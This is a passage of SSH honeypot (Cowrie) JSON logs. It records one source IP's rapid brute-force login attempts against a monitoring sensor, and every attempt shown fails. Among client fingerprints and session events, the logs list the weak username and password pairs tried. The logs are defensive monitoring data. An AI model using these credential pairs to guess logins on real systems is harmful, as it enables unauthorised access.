sh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:54.479662Z","src_ip":"45.156.87.253","session":"ad270336ffad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:54.722616Z","src_ip":"45.156.87.253","session":"ad270336ffad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:55.840955Z","src_ip":"45.156.87.253","session":"ad270336ffad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57388,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0e072fec175","protocol":"ssh","message":"New connection: 45.156.87.253:57388 (10.17.0.5:22) [session: d0e072fec175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:57.683002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:57.686552Z","src_ip":"45.156.87.253","session":"d0e072fec175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.42","src_port":57057,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e5592858c02","protocol":"ssh","message":"New connection: 147.185.132.42:57057 (10.17.0.5:22) [session: 9e5592858c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:57.705942Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:57.767504Z","src_ip":"45.156.87.253","session":"d0e072fec175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:57.881015Z","src_ip":"147.185.132.42","session":"9e5592858c02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:58.015852Z","src_ip":"45.156.87.253","session":"d0e072fec175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:25:59.098491Z","src_ip":"45.156.87.253","session":"d0e072fec175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34180,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc833fcd4217","protocol":"ssh","message":"New connection: 45.156.87.253:34180 (10.17.0.5:22) [session: fc833fcd4217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:01.258986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:01.263287Z","src_ip":"45.156.87.253","session":"fc833fcd4217","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:01.345700Z","src_ip":"45.156.87.253","session":"fc833fcd4217","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:01.594650Z","src_ip":"45.156.87.253","session":"fc833fcd4217","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:02.682632Z","src_ip":"45.156.87.253","session":"fc833fcd4217","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34182,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec97dcaff10b","protocol":"ssh","message":"New connection: 45.156.87.253:34182 (10.17.0.5:22) [session: ec97dcaff10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:04.596070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:04.600117Z","src_ip":"45.156.87.253","session":"ec97dcaff10b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:04.680672Z","src_ip":"45.156.87.253","session":"ec97dcaff10b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:04.925668Z","src_ip":"45.156.87.253","session":"ec97dcaff10b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:06.008589Z","src_ip":"45.156.87.253","session":"ec97dcaff10b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34184,"dst_ip":"10.17.0.5","dst_port":22,"session":"35e28e21e00e","protocol":"ssh","message":"New connection: 45.156.87.253:34184 (10.17.0.5:22) [session: 35e28e21e00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:07.922233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:07.975887Z","src_ip":"45.156.87.253","session":"35e28e21e00e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:08.006222Z","src_ip":"45.156.87.253","session":"35e28e21e00e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"123456789","message":"login attempt [sam/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:08.319150Z","src_ip":"45.156.87.253","session":"35e28e21e00e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:09.401604Z","src_ip":"45.156.87.253","session":"35e28e21e00e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55872,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a0aea59b574","protocol":"ssh","message":"New connection: 45.156.87.253:55872 (10.17.0.5:22) [session: 8a0aea59b574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:11.289439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:11.291921Z","src_ip":"45.156.87.253","session":"8a0aea59b574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:11.374851Z","src_ip":"45.156.87.253","session":"8a0aea59b574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"1","message":"login attempt [test3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:11.617690Z","src_ip":"45.156.87.253","session":"8a0aea59b574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:12.733561Z","src_ip":"45.156.87.253","session":"8a0aea59b574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55878,"dst_ip":"10.17.0.5","dst_port":22,"session":"c47109aa06e9","protocol":"ssh","message":"New connection: 45.156.87.253:55878 (10.17.0.5:22) [session: c47109aa06e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:14.601395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:14.605225Z","src_ip":"45.156.87.253","session":"c47109aa06e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:14.685557Z","src_ip":"45.156.87.253","session":"c47109aa06e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:14.928440Z","src_ip":"45.156.87.253","session":"c47109aa06e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:16.012518Z","src_ip":"45.156.87.253","session":"c47109aa06e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55880,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3254c812992","protocol":"ssh","message":"New connection: 45.156.87.253:55880 (10.17.0.5:22) [session: f3254c812992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:18.069955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:18.079669Z","src_ip":"45.156.87.253","session":"f3254c812992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:18.160794Z","src_ip":"45.156.87.253","session":"f3254c812992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:18.405346Z","src_ip":"45.156.87.253","session":"f3254c812992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:19.488602Z","src_ip":"45.156.87.253","session":"f3254c812992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40326,"dst_ip":"10.17.0.5","dst_port":22,"session":"375805ccc310","protocol":"ssh","message":"New connection: 45.156.87.253:40326 (10.17.0.5:22) [session: 375805ccc310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:21.427199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:21.430900Z","src_ip":"45.156.87.253","session":"375805ccc310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:21.516526Z","src_ip":"45.156.87.253","session":"375805ccc310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:26:21.763565Z","src_ip":"45.156.87.253","session":"375805ccc310","protocol":"ssh"}
